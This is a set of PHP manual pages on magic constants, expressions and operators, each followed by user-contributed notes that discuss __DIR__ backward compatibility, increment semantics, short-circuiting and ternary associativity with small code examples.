 __DIR__ === 'c:\';
__FILE__ === 'c:\test.php';

// network share context
// called as "php -f \\computerName\c$\test.php"
 __DIR__ === '\\computerName\c$';
__FILE__ === '\\computerName\c$\test.php';

NOTE: realpath('.') always seems to return an actual filesystem path regardless of the execution context.
meindertjan at gmail dot spamspamspam dot com 16-Feb-2014 09:54
A lot of notes here concern defining the __DIR__ magic constant for PHP versions not supporting the feature. Of course you can define this magic constant for PHP versions not yet having this constant, but it will defeat its purpose as soon as you are using the constant in an included file, which may be in a different directory then the file defining the __DIR__ constant. As such, the constant has lost its *magic*, and would be rather useless unless you assure yourself to have all of your includes in the same directory.

Concluding: eye catchup at gmail dot com's note regarding whether you can or cannot define magic constants is valid, but stating that defining __DIR__ is not useless, is not!
skoobiedu at gmail dot com 27-Dec-2013 07:58
What eyecatchup and I posted are good one-liners, but they are fundamentally flawed. Magic constants cannot be defined in a backward-compatible manner in PHP code because the value of a magic constant is defined at run-time based on the current context.

__DIR__ is defined relative to the current file. If you define it in one file using the method that I or eyecatchup posted, then the value is dependant upon the location of the file where it is defined.

Example:
* directory structure:
/dir/other/other_dir.php
/dir/define_dir.php
/dir/same_dir.php
/parent_dir.php

* /dir/define_dir.php
<?php
/**
 * Ensure the __DIR__ constant is defined for PHP 4.0.6 and newer.
 */
(@__DIR__ == '__DIR__') && define('__DIR__', realpath(dirname(__FILE__)));
?>

* /dir/same_dir.php
<?php
require('define_dir.php');

echo 'function: ' . realpath(dirname(__FILE__)) . "\n";
echo ' __DIR__: ' . __DIR__ . "\n";
?>

* /dir/other/other_dir.php
<?php
require('../define_dir.php');

echo 'function: ' . realpath(dirname(__FILE__)) . "\n";
echo ' __DIR__: ' . __DIR__ . "\n";
?>

* /parent_dir.php
<?php
require('dir/define_dir.php');

echo 'function: ' . realpath(dirname(__FILE__)) . "\n";
echo ' __DIR__: ' . __DIR__ . "\n";
?>

*** OUTPUT: PHP 5.2.17 ***
same_dir.php:
function: /dir
 __DIR__: /dir

other_dir.php:
function: /dir/other
 __DIR__: /dir

parent_dir.php:
function: /
 __DIR__: /dir

As you can see, only when the running script is in the same directory as the file that defines __DIR__, will __DIR__ have the correct value.

You could use the following function:
<?php
function abspath($file)
{
  return realpath(dirname($file));
}
?>

And call it like so wherever you would use __DIR__:
<?php
abspath(__FILE__);
?>

Magic constants are fickle creatures.
skoobiedu at gmail dot com 23-Nov-2013 05:37
__DIR__ is actually equivalent to realpath(dirname(__FILE__)).

Here's a modified version of the one-liner eyecatchup at gmail dot com[1] wrote:

<?php
// ensure the __DIR__ constant is defined for PHP 4.0.6 and newer
(@__DIR__ == '__DIR__') && define('__DIR__', realpath(dirname(__FILE__)));
?>

Their version also works on PHP 4.0.6, but doesn't use realpath. __DIR__ is an absolute path to the current file.

[1] http://www.php.net/manual/en/language.constants.predefined.php#113233
eyecatchup at gmail dot com 16-Sep-2013 07:08
As pointed out by david at thegallagher dot net[1], you can NOT use the defined() function to check if a *magic* constant is defined.  Often seen, but will not work:
<?php
    if (!defined('__MAGIC_CONSTANT__')) {
        // FAIL! even if __MAGIC_CONSTANT__ is defined,
        // defined('__MAGIC_CONSTANT__') will ALWAYS return (bool)false.
    }
?>

Now, raat1979 at gmail dot com[2] pointed out a solution to check if a magic constant is defined or not (which actually works reliable). Thanks to dynamic typecasting in PHP, if a constant lookup fails PHP interprets the given constant name as string (note that a notice is thrown nonetheless. thus, use "@" to suppress it).
<?php
    var_dump(@UNDEFINED_CONSTANT_NAME);  //prints: string(23) "UNDEFINED_CONSTANT_NAME"
?>

Meaning we can check for all constants - including magic constants (eg __DIR__) - as follows:
<?php
    if (@__DIR__ == '__DIR__'){
        // __DIR__ was interpreted as string. thus, (magic) constant __DIR__ is not defined.
    }
?>

However, what is wrong in raat1979 at gmail dot com's note[2] is this comment:
> "remember that because they are MAGIC constants defining __DIR__ is completely useless"

In fact, you *can* define magic constants (as long as they haven't been defined before, of course).

Based on all I've read and tested today, here is my code I use to make the `__DIR__` magic constant work with all PHP versions (4.3.1 - 5.5.3):
<?php
    // Ensure that PHP's magic constant __DIR__ is defined - no matter of the PHP version.

    // If magic __DIR__ constant is not defined, define it.
    (@__DIR__ == '__DIR__') && define('__DIR__', dirname(__FILE__));

    // All PHP versions (>= 4.3.1) can use the magic __DIR__ constant now..
    // Demo (outputs and VLD opcodes) here: http://3v4l.org/bm6e1
?>

[1] http://us2.php.net/manual/en/language.constants.predefined.php#107614
[2] http://us2.php.net/manual/en/language.constants.predefined.php#113130
raat1979 at gmail dot com 03-Sep-2013 09:11
Magic constants can not be tested with defined($name)

<?php
    if(!defined(__DIR__)){
        //will not work
    }
?>

when __DIR__ is not defined and you use it anyway php assumes you meant '__DIR__' and  throws a notice.
because of this assumption we can do:

<?php
if(@__DIR__ == '__DIR__'){
    echo 'magic __DIR__ constant NOT defined';
   //insert this code where needed, remember that because they are MAGIC constants defining __DIR__ is completely useless
}echo{
    echo 'magic __DIR__ constant IS defined';

}

?>
david at thegallagher dot net 22-Feb-2012 10:19
You cannot check if a magic constant is defined. This means there is no point in checking if __DIR__ is defined then defining it. `defined('__DIR__')` always returns false. Defining __DIR__ will silently fail in PHP 5.3+. This could cause compatibility issues if your script includes other scripts.

Here is proof:

<?php
echo (defined('__DIR__') ? '__DIR__ is defined' : '__DIR__ is NOT defined' . PHP_EOL);
echo (defined('__FILE__') ? '__FILE__ is defined' : '__FILE__ is NOT defined' . PHP_EOL);
echo (defined('PHP_VERSION') ? 'PHP_VERSION is defined' : 'PHP_VERSION is NOT defined') . PHP_EOL;
echo 'PHP Version: ' . PHP_VERSION . PHP_EOL;
?>

Output:
__DIR__ is NOT defined
__FILE__ is NOT defined
PHP_VERSION is defined
PHP Version: 5.3.6
Anonymous 27-Dec-2011 05:44
Further clarification on the __TRAIT__ magic constant.

<?php
trait PeanutButter {
    function traitName() {echo __TRAIT__;}
}

trait PeanutButterAndJelly {
    use PeanutButter;
}

class Test {
    use PeanutButterAndJelly;
}

(new Test)->traitName(); //PeanutButter
?>
user9 at voloreport dot com 10-Jul-2011 09:33
Note that __FILE__ has a quirk when used inside an eval() call. It will tack on something like "(80) : eval()'d code" (the number may change) on the end of the string at run-time. The workaround is:

$script = php_strip_whitespace('myprogram.php');
$script = str_replace('__FILE__',"preg_replace('@\(.*\(.*$@', '', __FILE__,1)",$script);
eval($script);
chris dot kistner at gmail dot com 20-Apr-2011 02:16
There is no way to implement a backwards compatible __DIR__ in versions prior to 5.3.0.

The only thing that you can do is to perform a recursive search and replace to dirname(__FILE__):
find . -type f -print0 | xargs -0 sed -i 's/__DIR__/dirname(__FILE__)/'
madboyka at yahoo dot com 10-Sep-2010 04:37
Since namespace were introduced, it would be nice to have a magic constant or function (like get_class()) which would return the class name without the namespaces.

On windows I used basename(__CLASS__). (LOL)
php at kennel17 dot co dot uk 20-Jun-2007 07:29
Further to my previous note, the 'object' element of the array can be used to get the parent object.  So changing the get_class_static() function to the following will make the code behave as expected:

<?php
    function get_class_static() {
        $bt = debug_backtrace();

        if (isset($bt[1]['object']))
            return get_class($bt[1]['object']);
        else
            return $bt[1]['class'];
    }
?>

HOWEVER, it still fails when being called statically.  Changing the last two lines of my previous example to

<?php
  foo::printClassName();
  bar::printClassName();
?>

...still gives the same problematic result in PHP5, but in this case the 'object' property is not set, so that technique is unavailable.
Tomek Perlak [tomekperlak at tlen pl] 10-Nov-2006 11:16
The __CLASS__ magic constant nicely complements the get_class() function.

Sometimes you need to know both:
- name of the inherited class
- name of the class actually executed

Here's an example that shows the possible solution:

<?php

class base_class
{
    function say_a()
    {
        echo "'a' - said the " . __CLASS__ . "<br/>";
    }

    function say_b()
    {
        echo "'b' - said the " . get_class($this) . "<br/>";
    }

}

class derived_class extends base_class
{
    function say_a()
    {
        parent::say_a();
        echo "'a' - said the " . __CLASS__ . "<br/>";
    }

    function say_b()
    {
        parent::say_b();
        echo "'b' - said the " . get_class($this) . "<br/>";
    }
}

$obj_b = new derived_class();

$obj_b->say_a();
echo "<br/>";
$obj_b->say_b();

?>

The output should look roughly like this:

'a' - said the base_class
'a' - said the derived_class

'b' - said the derived_class
'b' - said the derived_class
vijaykoul_007 at rediffmail dot com 22-Sep-2005 06:59
the difference between
__FUNCTION__ and __METHOD__ as in PHP 5.0.4 is that

__FUNCTION__ returns only the name of the function

while as __METHOD__ returns the name of the class alongwith the name of the function

class trick
{
      function doit()
      {
                echo __FUNCTION__;
      }
      function doitagain()
      {
                echo __METHOD__;
      }
}
$obj=new trick();
$obj->doit();
output will be ----  doit
$obj->doitagain();
output will be ----- trick::doitagain
claude at NOSPAM dot claude dot nl 18-Jul-2004 05:29
Note that __CLASS__ contains the class it is called in; in lowercase. So the code:

class A
{
    function showclass()
    {
        echo __CLASS__;
    }
}

class B extends A
{
}

$a = new A();
$b = new B();

$a->showclass();
$b->showclass();
A::showclass();
B::showclass();

results in "aaaa";


Expressions

Expressions are the most important building stones of PHP. In PHP, almost anything you write is an expression. The simplest yet most accurate way to define an expression is "anything that has a value".

The most basic forms of expressions are constants and variables. When you type "$a = 5", you're assigning '5' into $a. '5', obviously, has the value 5, or in other words '5' is an expression with the value of 5 (in this case, '5' is an integer constant).

After this assignment, you'd expect $a's value to be 5 as well, so if you wrote $b = $a, you'd expect it to behave just as if you wrote $b = 5. In other words, $a is an expression with the value of 5 as well. If everything works right, this is exactly what will happen.

Slightly more complex examples for expressions are functions. For instance, consider the following function:

<?php
function foo ()
{
    return 5;
}
?>

Assuming you're familiar with the concept of functions (if you're not, take a look at the chapter about functions), you'd assume that typing $c = foo() is essentially just like writing $c = 5, and you're right. Functions are expressions with the value of their return value. Since foo() returns 5, the value of the expression 'foo()' is 5. Usually functions don't just return a static value but compute something.

Of course, values in PHP don't have to be integers, and very often they aren't. PHP supports four scalar value types: integer values, floating point values (float), string values and boolean values (scalar values are values that you can't 'break' into smaller pieces, unlike arrays, for instance). PHP also supports two composite (non-scalar) types: arrays and objects. Each of these value types can be assigned into variables or returned from functions.

PHP takes expressions much further, in the same way many other languages do. PHP is an expression-oriented language, in the sense that almost everything is an expression. Consider the example we've already dealt with, '$a = 5'. It's easy to see that there are two values involved here, the value of the integer constant '5', and the value of $a which is being updated to 5 as well. But the truth is that there's one additional value involved here, and that's the value of the assignment itself. The assignment itself evaluates to the assigned value, in this case 5. In practice, it means that '$a = 5', regardless of what it does, is an expression with the value 5. Thus, writing something like '$b = ($a = 5)' is like writing '$a = 5; $b = 5;' (a semicolon marks the end of a statement). Since assignments are parsed in a right to left order, you can also write '$b = $a = 5'.

Another good example of expression orientation is pre- and post-increment and decrement. Users of PHP and many other languages may be familiar with the notation of variable++ and variable--. These are increment and decrement operators. In PHP, like in C, there are two types of increment - pre-increment and post-increment. Both pre-increment and post-increment essentially increment the variable, and the effect on the variable is identical. The difference is with the value of the increment expression. Pre-increment, which is written '++$variable', evaluates to the incremented value (PHP increments the variable before reading its value, thus the name 'pre-increment'). Post-increment, which is written '$variable++' evaluates to the original value of $variable, before it was incremented (PHP increments the variable after reading its value, thus the name 'post-increment').

A very common type of expressions are comparison expressions. These expressions evaluate to either FALSE or TRUE. PHP supports > (bigger than), >= (bigger than or equal to), == (equal), != (not equal), < (smaller than) and <= (smaller than or equal to). The language also supports a set of strict equivalence operators: === (equal to and same type) and !== (not equal to or not same type). These expressions are most commonly used inside conditional execution, such as if statements.

The last example of expressions we'll deal with here is combined operator-assignment expressions. You already know that if you want to increment $a by 1, you can simply write '$a++' or '++$a'. But what if you want to add more than one to it, for instance 3? You could write '$a++' multiple times, but this is obviously not a very efficient or comfortable way. A much more common practice is to write '$a = $a + 3'. '$a + 3' evaluates to the value of $a plus 3, and is assigned back into $a, which results in incrementing $a by 3. In PHP, as in several other languages like C, you can write this in a shorter way, which with time would become clearer and quicker to understand as well. Adding 3 to the current value of $a can be written '$a += 3'. This means exactly "take the value of $a, add 3 to it, and assign it back into $a". In addition to being shorter and clearer, this also results in faster execution. The value of '$a += 3', like the value of a regular assignment, is the assigned value. Notice that it is NOT 3, but the combined value of $a plus 3 (this is the value that's assigned into $a). Any two-place operator can be used in this operator-assignment mode, for example '$a -= 5' (subtract 5 from the value of $a), '$b *= 7' (multiply the value of $b by 7), etc.

There is one more expression that may seem odd if you haven't seen it in other languages, the ternary conditional operator:

<?php
$first ? $second : $third
?>

If the value of the first subexpression is TRUE (non-zero), then the second subexpression is evaluated, and that is the result of the conditional expression. Otherwise, the third subexpression is evaluated, and that is the value.

The following example should help you understand pre- and post-increment and expressions in general a bit better:

<?php
function double($i)
{
    return $i*2;
}
$b = $a = 5;        /* assign the value five into the variable $a and $b */
$c = $a++;          /* post-increment, assign original value of $a
                       (5) to $c */
$e = $d = ++$b;     /* pre-increment, assign the incremented value of
                       $b (6) to $d and $e */

/* at this point, both $d and $e are equal to 6 */

$f = double($d++);  /* assign twice the value of $d before
                       the increment, 2*6 = 12 to $f */
$g = double(++$e);  /* assign twice the value of $e after
                       the increment, 2*7 = 14 to $g */
$h = $g += 10;      /* first, $g is incremented by 10 and ends with the
                       value of 24. the value of the assignment (24) is
                       then assigned into $h, and $h ends with the value
                       of 24 as well. */
?>

Some expressions can be considered as statements. In this case, a statement has the form of 'expr ;' that is, an expression followed by a semicolon. In '$b = $a = 5;', '$a = 5' is a valid expression, but it's not a statement by itself. '$b = $a = 5;' however is a valid statement.

One last thing worth mentioning is the truth value of expressions. In many events, mainly in conditional execution and loops, you're not interested in the specific value of the expression, but only care about whether it means TRUE or FALSE. The constants TRUE and FALSE (case-insensitive) are the two possible boolean values. When necessary, an expression is automatically converted to boolean. See the section about type-casting for details about how.

PHP provides a full and powerful implementation of expressions, and documenting it entirely goes beyond the scope of this manual. The above examples should give you a good idea about what expressions are and how you can construct useful expressions. Throughout the rest of this manual we'll write expr to indicate any valid PHP expression.

User Contributed Notes

chriswarbo at gmail dot com 12-Jul-2013 08:06
Note that there is a difference between a function and a function call, and both
are expressions. PHP has two kinds of function, "named functions" and "anonymous
functions". Here's an example with both:

<?php
// A named function. Its name is "double".
function double($x) {
  return 2 * $x;
}

// An anonymous function. It has no name, in the same way that the string
// "hello" has no name. Since it is an expression, we can give it a temporary
// name by assigning it to the variable $triple.
$triple = function($x) {
  return 3 * $x;
};
?>

We can "call" (or "run") both kinds of function. A "function call" is an
expression with the value of whatever the function returns. For example:

<?php
// The easiest way to run a function is to put () after its name, containing its
// arguments (if any)
$my_numbers = array(double(5), $triple(5));
?>

$my_numbers is now an array containing 10 and 15, which are the return values of
double and $triple when applied to the number 5.

Importantly, if we *don't* call a function, ie. we don't put () after its name,
then we still get expressions. For example:

<?php
$my_functions = array('double', $triple);
?>

$my_functions is now an array containing these two functions. Notice that named
functions are more awkward than anonymous functions. PHP treats them differently
because it didn't use to have anonymous functions, and the way named functions
were implemented didn't work for anonymous functions when they were eventually
added.

This means that instead of using a named function literally, like we can with
anonymous functions, we have to use a string containing its name instead. PHP
makes sure that these strings will be treated as functions when it's
appropriate. For example:

<?php
$temp      = 'double';
$my_number = $temp(5);
?>

$my_number will be 10, since PHP has spotted that we're treating a string as if
it were a function, so it has looked up that named function for us.

Unfortunately PHP's parser is very quirky; rather than looking for generic
patterns like "x(y)" and seeing if "x" is a function, it has lots of
special-cases like "$x(y)". This makes code like "'double'(5)" invalid, so we
have to do tricks like using temporary variables. There is another way around
this restriction though, and that is to pass our functions to the
"call_user_func" or "call_user_func_array" functions when we want to call them.
For example:

<?php
$my_numbers = array(call_user_func('double', 5), call_user_func($triple, 5));
?>

$my_numbers contains 10 and 15 because "call_user_func" called our functions for
us. This is possible because the string 'double' and the anonymous function
$triple are expressions. Note that we can even use this technique to call an
anonymous function without ever giving it a name:

<?php
$my_number = call_user_func(function($x) { return 4 * $x; }, 5);
?>

$my_number is now 20, since "call_user_func" called the anonymous function,
which quadruples its argument, with the value 5.

Passing functions around as expressions like this is very useful whenever we
need to use a 'callback'. Great examples of this are array_map and array_reduce.
antickon at gmail dot com 27-Feb-2012 04:29
evaluation order of subexpressions is not strictly defined for all operators

<?php
function a() {echo 'a';}
function b() {echo 'b';}
a() == b(); // outputs "ab", ie evaluates left-to-right

$a = 3;
var_dump( $a == $a = 4 ); // outputs bool(true), ie evaluates right-to-left
?>

this is not a bug: "we [php developers] make no guarantee about the order of evaluation".
See https://bugs.php.net/bug.php?id=61188
Magnus Deininger, dma05 at web dot de 16-Apr-2009 05:04
Note that even though PHP borrows large portions of its syntax from C, the ',' is treated quite differently. It's not possible to create combined expressions in PHP using the comma-operator that C has, except in for() loops.

Example (parse error):

<?php

$a = 2, $b = 4;

echo $a."\n";
echo $b."\n";

?>

Example (works):
<?php

for ($a = 2, $b = 4; $a < 3; $a++)
{
  echo $a."\n";
  echo $b."\n";
}

?>

This is because PHP doesn't actually have a proper comma-operator, it's only supported as syntactic sugar in for() loop headers. In C, it would have been perfectly legitimate to have this:

int f()
{
  int a, b;
  a = 2, b = 4;

  return a;
}

or even this:

int g()
{
  int a, b;
  a = (2, b = 4);

  return a;
}

In f(), a would have been set to 2, and b would have been set to 4.
In g(), (2, b = 4) would be a single expression which evaluates to 4, so both a and b would have been set to 4.
denzoo at gmail dot com 16-Mar-2008 01:52
To jvm at jvmyers dot com:
Your first two if statements just check if there's anything in the string, if you wish to actually execute the code in your string you need eval().
jvm at jvmyers dot com 24-Feb-2008 09:20
<?php
// Compound booleans expressed as string args in an 'if' statement don't work as expected:
//
//    Context:
//        1.  I generate an array of counters
//        2.  I dynamically generate a compound boolean based on selected counters in the array
//                Note: since the real array is sparse, I must use the 'empty' operator
//        3.  When I submit the compound boolean as the expression of an 'if' statement,
//            the 'if' appears to resolve ONLY the first element of the compound boolean.
//    Conclusion: appears to be a short-circuiting issue

$aArray = array(1,0);

// Case 1: 'if' expression passed as string:

$sCondition = "!empty($aArray[0]) && !empty($aArray[1])";
if ($sCondition)
{
    echo "1. Conditions met<br />";
}
else
{
    echo "1. Conditions not met<br />";
}

// Case 1 output:  "1. Conditions met"

// Case 2: same as Case 1, but using catenation operator

if ("".$sCondition."")
{
    echo "2. Conditions met<br />";
}
else
{
    echo "2. Conditions not met<br />";
}

// Case 2 output:  "2. Conditions met"

// Case 3: same 'if' expression but passed in context:

if (!empty($aArray[0]) && !empty($aArray[1]))
{
    echo "3. Conditions met<br />";
}
else
{
    echo "3. Conditions not met<br />";
}

// Case 3 output:  "3. Conditions not met"

// jvm@jvmyers.com
?>

PS: the bug folks say this "does not imply a bug in PHP itself."  Sure bugs me!
petruzanauticoyahoo?com!ar 20-Oct-2007 05:41
Regarding the ternary operator, I would rather say that the best option is to enclose all the expression in parantheses, to avoid errors and improve clarity:

<?php
   print ( $a > 1 ? "many" : "just one" );
?>

PS: for php, C++, and any other language that has it.
winks716 23-Aug-2007 10:42
reply to egonfreeman at gmail dot com
04-Apr-2007 07:45

the second example u mentioned as follow:
=====================================

$n = 3;
$n * $n++

from 3 * 3 into 3 * 4. Post- operations operate on a variable after it has been 'checked', but it doesn't necessarily state that it should happen AFTER an evaluation is over (on the contrary, as a matter of fact).

===========================================

everything works correctly but one sentence should be modified:

"from 3 * 3 into 3 * 4"  should be "from 3 * 3 into 4 * 3"

best regards~ :)
george dot langley at shaw dot ca 20-Jul-2007 08:01
Here's a quick example of Pre and Post-incrementation, in case anyone does feel confused (ref anonymous poster 31 May 2005)

<?PHP
echo "Using Pre-increment ++\$a:<br>";
$a = 1;
echo "\$a = $a<br>";
$b = ++$a;
echo "\$b = ++\$a, so \$b = $b and \$a = $a<br>";
echo "<br>";
echo "Using Post-increment \$a++:<br>";
$a = 1;
echo "\$a = $a<br>";
$b = $a++;
echo "\$b = \$a++, so \$b = $b and \$a = $a<br>";
?>

HTH
egonfreeman at gmail dot com 04-Apr-2007 04:45
It is worthy to mention that:

$n = 3;
$n * --$n

WILL RETURN 4 instead of 6.

It can be a hard to spot "error", because in our human thought process this really isn't an error at all! But you have to remember that PHP (as it is with many other high-level languages) evaluates its statements RIGHT-TO-LEFT, and therefore "--$n" comes BEFORE multiplying, so - in the end - it's really "2 * 2", not "3 * 2".

It is also worthy to mention that the same behavior will change:

$n = 3;
$n * $n++

from 3 * 3 into 3 * 4. Post- operations operate on a variable after it has been 'checked', but it doesn't necessarily state that it should happen AFTER an evaluation is over (on the contrary, as a matter of fact).

So, if you ever find yourself on a 'wild goose chase' for a bug in that "impossible-to-break, so-very-simple" piece of code that uses pre-/post-'s, remember this post. :)

(just thought I'd check it out - turns out I was right :P)
shawnster 15-Feb-2007 01:56
An easy fix (although intuitively tough to do...) is to reverse the comparison.

if (5 == $a) {}

If you forget the second '=', you'll get a parse error for trying to assign a value to a non-variable.
nabil_kadimi at hotmail dot com 30-Jan-2007 04:46
Attention! php will not warn you if you write (1) When you mean (2)

(1)
<?
if($a=0)
    echo "condition is true";
else
    echo "condition is false";
//output: condition is false
?>

(2)
<?
if($a==0)
    echo "condition is true";
else
    echo "condition is false";
//output: condition is true
?>
richard at phase4 dot ie 19-Jan-2006 09:00
Follow up on Martin K. There are no hard and fast rules regarding operator precedence. Newbies should definitely learn them, but if their use results in code that is not easy to read you should use parentheses. The two important things are that it works properly AND is maintainable by you and others.
Martin K 21-Oct-2005 03:28
At 04-Feb-2005 05:13, tom at darlingpet dot com said:
> It's also a good idea to use parenthesis when using something SIMILAR to:
>
> <?php
> echo (trim($var)=="") ? "empty" : "not empty";
> ?>

No, it's a BAD idea.

All the short-circuiting operators, including the ternary conditional operator, have LOWER precedence than the comparison operators, so they almost NEVER need parentheses around their subexpressions.

Inserting the parentheses suggested above does not change the meaning of the code, but their use misleads inexperienced programmers to expect that things like this will work in a similar manner:

<?php
function my_print($a) { print($a); }
my_print (trim($var)=="") ? "empty" : "not empty";
?>

when of course it doesn't.

Rather than worrying that code doesn't work as expected, simply learn the precedence rules (http://www.php.net/manual/en/language.operators.php) so that one expects the right things.
12345alex at gmx dot net 14-Aug-2005 04:00
this code:
    print array() == NULL ? "True" : "False";
    print " (" . (array() == NULL) . ")\n";

    $arr = array();
    print array() == $arr ? "True" : "False";
    print " (" . (array() == $arr) . ")\n";

    print count(array()) . "\n";
    print count(NULL) . "\n";

will output (on php4 and php5):
    True (1)
    True (1)
    0
    0

so to decide wether i have NULL or an empty array i will also have to use gettype(). this seems some kind of weird for me, although if is this is a bug, somebody should have noticed it before.

alex
31-May-2005 09:07
I don't see why it is necessary here to explain pre- and post- incrementing.

This is something that will confuse new users of PHP, even longer time programmers will sometimes miss a the fine details of a construct like that.

If something has a side-effect it should be on a line of it's own, or at least be an expression of it's own and not part of an assignment, condition or whatever.
tom at darlingpet dot com 04-Feb-2005 11:13
Something I've noticed with ternary expressions is if you do something like :

<?= $var=="something" ? "is something" : "not something"; ?>

It will give wacky results sometimes...

So be sure to enclose the ternary expression in parenthesis when ever necessary (such as having multiple expressions or nested ternary expressions)

The above could look like:

<?= ($var=="something") ? "is something" : "not something"; ?>

It's also a good idea to use parenthesis when using something SIMILAR to:

<?php
echo (trim($var)=="") ? "empty" : "not empty";
?>

In some cases other than the <?= ?> example, not placing the entire expression in appropriate parenthesis might yield undesirable results as well.. but I'm not quite sure.
oliver at hankeln-online dot de 07-Aug-2002 03:06
The short-circuiting IS a feature. It is also available in C, so I suppose the developers won�t remove it in future PHP versions.

It is rather nice to write:

$file=fopen("foo","r") or die("Error!");

Greets,
Oliver
Mattias at mail dot ee 25-May-2002 12:29
A note about the short-circuit behaviour of the boolean operators.

1. if (func1() || func2())
Now, if func1() returns true, func2() isn't run, since the expression
will be true anyway.

2. if (func1() && func2())
Now, if func1() returns false, func2() isn't run, since the expression
will be false anyway.

The reason for this behaviour comes probably from the programming
language C, on which PHP seems to be based on. There the
short-circuiting can be a very useful tool. For example:

int * myarray = a_func_to_set_myarray(); // init the array
if (myarray != NULL && myarray[0] != 4321) // check
    myarray[0] = 1234;

Now, the pointer myarray is checked for being not null, then the
contents of the array is validated. This is important, because if
you try to access an array whose address is invalid, the program
will crash and die a horrible death. But thanks to the short
circuiting, if myarray == NULL then myarray[0] won't be accessed,
and the program will work fine.
yasuo_ohgaki at hotmail dot com 12-Mar-2001 08:14
Manual defines "expression is anything that has value", Therefore, parser will give error for following code.

<?php
($val) ? echo('true') : echo('false');
Note: "? : " operator has this syntax  "expr ? expr : expr;"
?>

since echo does not have(return) value and ?: expects expression(value).

However, if function/language constructs that have/return value, such as include(), parser compiles code.

Note: User defined functions always have/return value without explicit return statement (returns NULL if there is no return statement). Therefore, user defined functions are always valid expressions.
[It may be useful to have VOID as new type to prevent programmer to use function as RVALUE by mistake]

For example,

<?php
($val) ? include('true.inc') : include('false.inc');
?>

is valid, since "include" returns value.

The fact "echo" does not return value(="echo" is not a expression), is less obvious to me.

Print() and Echo() is NOT identical since print() has/returns value and can be a valid expression.
anthony at n dot o dot s dot p dot a dot m dot trams dot com 24-Nov-2000 08:01
The ternary conditional operator is a useful way of avoiding inconvenient if statements.  They can even be used in the middle of a string concatenation, if you use parentheses.

Example:

if ( $wakka ) {
  $string = 'foo' ;
} else {
  $string = 'bar' ;
}

The above can be expressed like the following:

$string = $wakka ? 'foo' : 'bar' ;

If $wakka is true, $string is assigned 'foo', and if it's false, $string is assigned 'bar'.

To do the same in a concatenation, try:

$string = $otherString . ( $wakka ? 'foo' : 'bar' ) ;


Operators

Table of Contents

  • Operator Precedence
  • Arithmetic Operators
  • Assignment Operators
  • Bitwise Operators
  • Comparison Operators
  • Error Control Operators
  • Execution Operators
  • Incrementing/Decrementing Operators
  • Logical Operators
  • String Operators
  • Array Operators
  • Type Operators

An operator is something that takes one or more values (or expressions, in programming jargon) and yields another value (so that the construction itself becomes an expression).

Operators can be grouped according to the number of values they take. Unary operators take only one value, for example ! (the logical not operator) or ++ (the increment operator). Binary operators take two values, such as the familiar arithmetical operators + (plus) and - (minus), and the majority of PHP operators fall into this category. Finally, there is a single ternary operator, ? :, which takes three values; this is usually referred to simply as "the ternary operator" (although it could perhaps more properly be called the conditional operator).

A full list of PHP operators follows in the section Operator Precedence. The section also explains operator precedence and associativity, which govern exactly how expressions containing several different operators are evaluated.

User Contributed Notes

pgarvin76+php dot net at NOSPAMgmail dot com 30-Dec-2008 01:43
Method chaining is read left to right (left associative):
<?php

class Test_Method_Chain
{
    public function One()
    {
        echo "One" . PHP_EOL;
        return $this;
    }

    public function Two()
    {
        echo "Two" . PHP_EOL;
        return $this;
    }

    public function Three()
    {
        echo "Three" . PHP_EOL;
        return $this;
    }
}

$test = new Test_Method_Chain();

$test->One()->Two()->Three();

/* Ouputs:
One
Two
Three
*/
?>
ddascalescu at gmail dot com 24-Oct-2008 03:53
The -> operator, not listed above, is called "object operator" (T_OBJECT_OPERATOR).
figroc at gmail dot com 02-Aug-2008 12:30
The variable symbol '$' should be considered as the highest-precedence operator, so that the variable variables such as $$a[0] won't confuse the parser.  [http://www.php.net/manual/en/language.variables.variable.php]
phpnet dot 20 dot dpnsubs at xoxy dot net 01-Nov-2007 11:13
Note that in php the ternary operator ?: has a left associativity unlike in C and C++ where it has right associativity.

You cannot write code like this (as you may have accustomed to in C/C++):

<?php
$a = 2;
echo (
    $a == 1 ? 'one' :
    $a == 2 ? 'two' :
    $a == 3 ? 'three' :
    $a == 4 ? 'four' : 'other');
echo "\n";
// prints 'four'
?>

You need to add brackets to get the results you want:

<?php
$a = 2;

echo ($a == 1 ? 'one' :
        ($a == 2 ? 'two' :
        ($a == 3 ? 'three' :
        ($a == 4 ? 'four' : 'other') ) ) );
echo "\n";
//prints 'two'
?>
Gautam 10-Oct-2007 12:22
<?php

$result1 = 7 + 8 * 9/3 -4;
$result2 = 7 + 8 * (9/3 -4);
$result3 =(7 + 8)* 9/3 -4;

echo "Result1 for 7 + 8 * 9/3 -4 = $result1  Result2 for 7 + 8 * (9/3 -4) = $result2 and Result3 (7 + 8)* 9/3 -4 = $result3 "
/*
 which gives results as under
 Result1 for 7 + 8 * 9/3 -4 = 27 Result2 for 7 + 8 * (9/3 -4) = -1 and Result3 (7 + 8)* 9/3 -4 = 41
 Execution Order is 1) expression in brackets 2) division 3) multiplication 4) addition and 5) subtraction
*/
?>
janturon at email dot cz 08-Oct-2007 03:42
This is very common problem: set one variable to another, if it is not empty. If it is, set it to something else.
For example: set $bar to $foo, if $foo is empty, set $bar to "undefined";

if(!empty($foo)) $bar= $foo; else $bar= "undefined";

OR operator can shorten it:

$bar= @$foo or $bar= "undefined";
me at robrosenbaum dot com 12-Jul-2007 09:16
The scope resolution operator ::, which is missing from the list above, has higher precedence than [], and lower precedence than 'new'. This means that self::$array[$var] works as expected.
madcoder at gmail dot com 10-Jun-2007 12:17
In response to mathiasrav at gmail dot com:

The reason for that behavior is the parentheses.  From the description:

"Parentheses may be used to force precedence, if necessary. For instance: (1 + 5) * 3 evaluates to 18."

So the order of operations says that even though the equality operator has higher precedence, the parentheses in your statement force the assignment operator to a higher precedence than the equality operator.

That said, it still doesn't work the way you expect it to.  Neither way works, for these reasons:
<?php
if ( $a != ($a = $b) )
?>

Order of operations says to do the parentheses first.  So you end up with:
<?php
$a = $b;
if ( $a != $a )
?>

Which is obviously going to be false.  Without the parentheses:
<?php
if ( $a != $a = $b )
?>

Order of operations says to do the inequality first, then the assignment, so you have:
<?php
if ( $a != $a );
$a = $b;
?>

Which again is not what you expected, and again will always be false.  But because you are only working with values of 0 and 1, you can make use of the XOR operator:

<?php
if ( $a ^= $b )
?>

This will only be true if 1) $a is 0 and $b is 1, or 2) $a is 1 and $b is 0.  That is precisely what you wanted, and it even does the assignment the way you expected it to.

<?php
foreach ($ourstring as $c) {
  if ($bold ^= $c['bold']) $resstring .= bold;
  if ($underline ^= $c['underline']) $resstring .= underline;
  $resstring .= $c[0];
}
?>

That code now works and produces the output you expected.
